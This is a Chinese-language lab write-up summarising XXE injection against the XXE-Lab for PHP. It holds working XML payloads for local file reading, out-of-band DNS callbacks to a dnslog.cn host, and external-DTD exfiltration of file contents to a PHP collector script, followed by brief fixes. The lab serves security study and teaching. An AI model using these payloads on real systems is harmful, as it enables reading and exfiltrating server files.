XXE漏洞总结

XML外部实体注入漏洞。

  • XXE-Lab for PHP

    • 读取文件

      1
      2
      3
      4
      5
      <?xml version="1.0"?>
      <!DOCTYPE Mikasa [
      <!ENTITY test SYSTEM "file:///d:/dorvin.txt">
      ]>
      <user><username>&test;</username><password>dorvin</password></user>
      读取文件数据包

      成功返回了dorvin.txt文件中的内容。这里的file://是文件协议的前缀,加上前导/指向当前驱动器的根目录(在 Windows 上)或整个根目录(在 Linux/Unix 上)。

    • 信息外带

      1
      2
      3
      4
      5
      6
      <?xml version="1.0" ?>
      <!DOCTYPE test [
      <!ENTITY % file SYSTEM "http://6pcgv5.dnslog.cn">
      %file;
      ]>
      <user><username>&send;</username><password>dorvin</password></user>
      DNSLOG

      dnslog上成功收到了请求。

    • 外部引用实体

      1
      2
      3
      4
      5
      6
      <?xml version="1.0" ?>
      <!DOCTYPE test [
      <!ENTITY % file SYSTEM "http://127.0.0.1/demo.dtd">
      %file;
      ]>
      <user><username>&send;</username><password>dorvin</password></user>

      demo.dtd:

      1
      <!ENTITY send SYSTEM "file:///d:/dorvin.txt">
      外部引用实体数据包

      成功返回了dorvin.txt文件中的内容。外部引用实体解决了拦截防护绕过和数据无回显的问题。

    • 外部引用实体信息外带

      1
      2
      3
      4
      5
      6
      7
      8
      <?xml version="1.0"?>
      <!DOCTYPE ANY[
      <!ENTITY % file SYSTEM "file:///d:/dorvin.txt">
      <!ENTITY % remote SYSTEM "http://127.0.0.1/demo.dtd">
      %remote;
      %all;
      ]>
      <root>&send;</root>

      demo.dtd:

      1
      <!ENTITY % all "<!ENTITY send SYSTEM 'http://127.0.0.1/demo.php?info=%file;'>">

      demo.php:

      1
      2
      <?php
      file_put_contents('./demo.txt', $_GET['info']);

      文本信息

      这样也是成功读取到了dorvin.txt文件中的内容。

  • 修复方案

    • 禁用外部实体

    • 过滤用户提交的XML数据

  • 其他协议利用

    参考:https://www.cnblogs.com/20175211lyz/p/11413335.html